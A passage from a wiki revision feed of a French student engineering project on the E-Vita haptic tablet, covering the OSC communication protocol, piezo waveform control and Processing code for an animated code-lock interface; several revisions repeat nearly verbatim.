Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d'apréhender le probleme facilement j'ai commencer par représenté un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
Photo ligne &amp;amp; &amp;amp; 6&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un banal switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37200</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37200"/>
				<updated>2017-01-10T18:15:02Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Avancé du travail */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d'apréhender le probleme facilement j'ai commencer par représenté un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
Photo ligne &amp;amp; &amp;amp; 6&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un banal switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center]]&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37199</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37199"/>
				<updated>2017-01-10T18:13:28Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Avancé du travail */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d'apréhender le probleme facilement j'ai commencer par représenté un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
Photo ligne &amp;amp; &amp;amp; 6&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un banal switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
